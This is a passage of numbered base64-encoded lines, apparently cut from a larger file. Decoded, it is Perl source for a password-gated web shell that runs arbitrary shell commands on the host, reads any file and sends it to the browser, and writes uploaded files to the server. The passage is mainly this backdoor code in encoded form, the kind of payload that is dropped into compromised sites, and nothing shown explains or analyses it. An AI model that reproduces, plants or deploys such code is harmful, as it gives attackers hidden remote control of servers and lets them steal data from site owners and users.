2185IHJlbW92ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCSZQcmludExv
2186Z291dFNjcmVlbjsKCgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmlu
2187dFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2188LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlz
2189IGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0CiMg
2190ZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYg
2191dGhlIHBhc3N3b3JkIGRvZW5zJ3QKIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVk
2192LCBpdCBkaXNwbGF5cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIKIyB0byBsb2dpbgojLS0t
2193LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2194LS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9naW4gCnsKCWlmKCRMb2dpblBhc3N3b3Jk
2195IGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkCgl7CgkJcHJpbnQgIlNldC1Db29raWU6
2196IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJ
2197JlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KCWVsc2Ug
2198IyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlBy
2199aW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29y
2200ZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoKCQl9CgkJJlBy
2201aW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0t
2202LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2203LS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRl
2204ciBjb21tYW5kcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2205LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludENvbW1hbmRMaW5lSW5w
2206dXRGb3JtCnsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAk
2207U2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOwoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8Zm9ybSBu
2208YW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KPGlucHV0IHR5
2209cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiPgo8aW5wdXQgdHlwZT0iaGlkZGVu
2210IiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0
2211IiBuYW1lPSJjIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgo8
2212L2NvZGU+CgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2213LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBm
2214b3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0t
2215LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2216LS0tLS0tLS0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQp7CgkkUHJvbXB0ID0gJFdpbk5UID8g
2217IiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsK
2218CXByaW50IDw8RU5EOwo8Y29kZT4KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249
2219IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIk
2220Q3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9h
2221ZCI+CiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IHR5cGU9InRleHQi
2222IG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPgpEb3dubG9hZDogPGlucHV0IHR5cGU9InN1Ym1p
2223dCIgdmFsdWU9IkJlZ2luIj4KPC9mb3JtPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0t
2224LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2225LS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBs
2226b2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2227LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0K
2228ewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJO
2229YW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cgo8Zm9ybSBuYW1lPSJm
2230IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNj
2231cmlwdExvY2F0aW9uIj4KJFByb21wdCB1cGxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IHR5
2232cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPgpPcHRpb25zOiAmbmJzcDs8aW5w
2233dXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIHZhbHVlPSJvdmVyd3JpdGUiPgpPdmVyd3JpdGUg
2234aWYgaXQgRXhpc3RzPGJyPjxicj4KVXBsb2FkOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBl
2235PSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZh
2236bHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1
2237cGxvYWQiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2238LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBU
2239aGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhw
2240aXJlcy4gV2UgbmVlZCB0bwojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlz
2241IGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMKIyBuZXZlciBjYWxsZWQgd2hl
2242biB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2243LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3Vi
2244IENvbW1hbmRUaW1lb3V0CnsKCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7CgkJcHJpbnQgPDxF
2245TkQ7CjwveG1wPgoKPGNvZGU+CkNvbW1hbmQgZXhjZWVkZWQgbWF4aW11bSB0aW1lIG9mICRDb21t
2246YW5kVGltZW91dER1cmF0aW9uIHNlY29uZChzKS4KPGJyPktpbGxlZCBpdCEKRU5ECgkJJlByaW50
2247Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCQlleGl0OwoJfQp9Cgoj
2248LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2249LS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0
2250ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUKIyBjb21tYW5kIGFuZCBh
2251bGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBjb21tYW5kLiBUaGUgY2hhbmdlIGRpcmVj
2252dG9yeQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUg
2253bmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMg
2254dXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlCiMgb3V0cHV0
2255IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZCB0byB0aGUg
2256dXNlcnMKIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4KIy0t
2257LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2258LS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRXhlY3V0ZUNvbW1hbmQKewoJaWYoJFJ1bkNvbW1hbmQg
2259PX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZAoJewoJCSMg
2260d2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUKCQkj
2261IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4KCQkKCQkkT2xkRGlyID0gJEN1cnJlbnREaXI7CgkJ
2262JENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4k
2263Q21kUHdkOwoJCWNob3AoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsKCQkmUHJpbnRQYWdlSGVh
2264ZGVyKCJjIik7CgkJJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxAJFNl
2265cnZlck5hbWUgJE9sZERpcl1cJCAiOwoJCXByaW50ICIkUHJvbXB0ICRSdW5Db21tYW5kIjsKCX0K
2266CWVsc2UgIyBzb21lIG90aGVyIGNvbW1hbmQsIGRpc3BsYXkgdGhlIG91dHB1dAoJewoJCSZQcmlu
2267dFBhZ2VIZWFkZXIoImMiKTsKCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDog
2268IlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsKCQlwcmludCAiJFByb21wdCAk
2269UnVuQ29tbWFuZDx4bXA+IjsKCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRT
2270ZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7CgkJaWYoISRXaW5OVCkKCQl7CgkJCSRTSUd7J0FM
2271Uk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7CgkJCWFsYXJtKCRDb21tYW5kVGltZW91dER1cmF0aW9u
2272KTsKCQl9CgkJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdl
2273bmVyYXRlZAoJCXsKCQkJJHw9MTsKCQkJJENvbW1hbmQgLj0gIiB8IjsKCQkJb3BlbihDb21tYW5k
2274T3V0cHV0LCAkQ29tbWFuZCk7CgkJCXdoaWxlKDxDb21tYW5kT3V0cHV0PikKCQkJewoJCQkJJF8g
2275PX4gcy8oXG58XHJcbikkLy87CgkJCQlwcmludCAiJF9cbiI7CgkJCX0KCQkJJHw9MDsKCQl9CgkJ
2276ZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzCgkJewoJCQlwcmludCBg
2277JENvbW1hbmRgOwoJCX0KCQlpZighJFdpbk5UKQoJCXsKCQkJYWxhcm0oMCk7CgkJfQoJCXByaW50
2278ICI8L3htcD4iOwoJfQoJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkmUHJpbnRQYWdlRm9v
2279dGVyOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2280LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0
2281aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXIKIyB0byBk
2282b3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRv
2283LXJlZnJlc2gKIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5
2284LgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBi
2285ZSBkb3dubG9hZGVkCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2286LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RG93bmxvYWRMaW5r
2287UGFnZQp7Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsKCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBm
2288aWxlIGV4aXN0cwoJewoJCSMgZW5jb2RlIHRoZSBmaWxlIGxpbmsgc28gd2UgY2FuIHNlbmQgaXQg
2289dG8gdGhlIGJyb3dzZXIKCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2so
2290IkgqIiwkMSkvZWc7CgkJJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9h
2291ZCZmPSRGaWxlVXJsJm89Z28iOwoJCSRIdG1sTWV0YUhlYWRlciA9ICI8bWV0YSBIVFRQLUVRVUlW
2292PVwiUmVmcmVzaFwiIENPTlRFTlQ9XCIxOyBVUkw9JERvd25sb2FkTGlua1wiPiI7CgkJJlByaW50
2293UGFnZUhlYWRlcigiYyIpOwoJCXByaW50IDw8RU5EOwo8Y29kZT4KClNlbmRpbmcgRmlsZSAkVHJh
2294bnNmZXJGaWxlLi4uPGJyPgpJZiB0aGUgZG93bmxvYWQgZG9lcyBub3Qgc3RhcnQgYXV0b21hdGlj
2295YWxseSwKPGEgaHJlZj0iJERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4uCkVORAoJCSZQcmlu
2296dENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7Cgl9CgllbHNlICMgZmls
2297ZSBkb2Vzbid0IGV4aXN0Cgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXByaW50ICJGYWls
2298ZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsKCQkmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJ
2299CSZQcmludFBhZ2VGb290ZXI7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2300LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1
2301bmN0aW9uIHJlYWRzIHRoZSBzcGVjaWZpZWQgZmlsZSBmcm9tIHRoZSBkaXNrIGFuZCBzZW5kcyBp
2302dCB0byB0aGUKIyBicm93c2VyLCBzbyB0aGF0IGl0IGNhbiBiZSBkb3dubG9hZGVkIGJ5IHRoZSB1
2303c2VyLgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0
2304byBiZSBzZW50LgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2305LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBTZW5kRmlsZVRvQnJvd3Nlcgp7
2306Cglsb2NhbCgkU2VuZEZpbGUpID0gQF87CglpZihvcGVuKFNFTkRGSUxFLCAkU2VuZEZpbGUpKSAj
2307IGZpbGUgb3BlbmVkIGZvciByZWFkaW5nCgl7CgkJaWYoJFdpbk5UKQoJCXsKCQkJYmlubW9kZShT
2308RU5ERklMRSk7CgkJCWJpbm1vZGUoU1RET1VUKTsKCQl9CgkJJEZpbGVTaXplID0gKHN0YXQoJFNl
2309bmRGaWxlKSlbN107CgkJKCRGaWxlbmFtZSA9ICRTZW5kRmlsZSkgPX4gIG0hKFteL15cXF0qKSQh
2310OwoJCXByaW50ICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtdW5rbm93blxuIjsKCQlwcmlu
2311dCAiQ29udGVudC1MZW5ndGg6ICRGaWxlU2l6ZVxuIjsKCQlwcmludCAiQ29udGVudC1EaXNwb3Np
2312dGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JDFcblxuIjsKCQlwcmludCB3aGlsZSg8U0VOREZJ
2313TEU+KTsKCQljbG9zZShTRU5ERklMRSk7Cgl9CgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQoJ
2314ewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQlwcmludCAiRmFpbGVkIHRvIGRvd25sb2FkICRT
2315ZW5kRmlsZTogJCEiOwoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07CgoJCSZQcmludFBhZ2VGb290
2316ZXI7Cgl9Cn0KCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2317LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxs
2318ZWQgd2hlbiB0aGUgdXNlciBkb3dubG9hZHMgYSBmaWxlLiBJdCBkaXNwbGF5cyBhIG1lc3NhZ2UK
2319IyB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rIHRocm91Z2ggd2hpY2ggdGhlIGZpbGUg
2320Y2FuIGJlIGRvd25sb2FkZWQuCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRo
2321ZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwKIyB0aGUgZmlsZSBpcyBy
2322ZWFkIGFuZCBzZW50IHRvIHRoZSBicm93c2VyLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2323LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBC
2324ZWdpbkRvd25sb2FkCnsKCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRv
2325IGJlIGRvd25sb2FkZWQKCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjov
2326KSkgfAoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBh
2327YnNvbHV0ZQoJewoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsKCX0KCWVsc2UgIyBwYXRo
2328IGlzIHJlbGF0aXZlCgl7CgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3Vy
2329cmVudERpcikgPX4gbS9bXFxcL10kLzsKCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNm
2330ZXJGaWxlOwoJfQoKCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBm
2331aWxlCgl7CgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBo
2332YXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJJlByaW50RG93bmxvYWRMaW5rUGFn
2333ZSgkVGFyZ2V0RmlsZSk7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2334LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0
2335aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUuIElmIHRo
2336ZQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRo
2337ZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBzdGFydHMgdGhlIHVwbG9h
2338ZCBwcm9jZXNzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2339LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBVcGxvYWRGaWxlCnsKCSMgaWYg
2340bm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSB1cGxvYWQgZm9ybSBhZ2FpbgoJaWYoJFRy
2341YW5zZmVyRmlsZSBlcSAiIikKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7CgkJJlByaW50Rmls
2342ZVVwbG9hZEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCQlyZXR1cm47Cgl9CgkmUHJpbnRQYWdl
2343SGVhZGVyKCJjIik7CgoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MKCXByaW50ICJVcGxv
2344YWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERpci4uLjxicj4iOwoKCSMgZ2V0IHRoZSBm
2345dWxsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGNyZWF0ZWQKCWNob3Ao
2346JFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQv
2347OwoJJFRyYW5zZmVyRmlsZSA9fiBtIShbXi9eXFxdKikkITsKCSRUYXJnZXROYW1lIC49ICRQYXRo
2348U2VwLiQxOwoKCSRUYXJnZXRGaWxlU2l6ZSA9IGxlbmd0aCgkaW57J2ZpbGVkYXRhJ30pOwoJIyBp
2349ZiB0aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qgc3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0
2350CglpZigtZSAkVGFyZ2V0TmFtZSAmJiAkT3B0aW9ucyBuZSAib3ZlcndyaXRlIikKCXsKCQlwcmlu
2351dCAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOwoJfQoJZWxz
2352ZSAjIGZpbGUgaXMgbm90IHByZXNlbnQKCXsKCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdl
2353dE5hbWUiKSkKCQl7CgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOwoJCQlwcmludCBV
2354UExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsKCQkJY2xvc2UoVVBMT0FERklMRSk7CgkJCXByaW50
2355ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsKCQkJcHJpbnQgIkZpbGUg
2356UGF0aDogJFRhcmdldE5hbWU8YnI+IjsKCQl9CgkJZWxzZQoJCXsKCQkJcHJpbnQgIkZhaWxlZDog
2357JCE8YnI+IjsKCQl9Cgl9CglwcmludCAiIjsKCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoK
2358CSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2359LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0
2360aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYg
2361dGhlCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93
2362aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBh
2363IG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluawojIHRocm91Z2ggIHdoaWNo
2364IHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2365LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBE
2366b3dubG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25s
2367b2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhl
2368YWRlcigiZiIpOwoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsK
2369CQlyZXR1cm47Cgl9CgkKCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRv
2370IGJlIGRvd25sb2FkZWQKCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjov
2371KSkgfAoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBh
2372YnNvbHV0ZQoJewoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsKCX0KCWVsc2UgIyBwYXRo
2373IGlzIHJlbGF0aXZlCgl7CgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3Vy
2374cmVudERpcikgPX4gbS9bXFxcL10kLzsKCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNm
2375ZXJGaWxlOwoJfQoKCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBm
2376aWxlCgl7CgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBo
2377YXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJJlByaW50RG93bmxvYWRMaW5rUGFn
2378ZSgkVGFyZ2V0RmlsZSk7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
2379LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBNYWluIFByb2dy
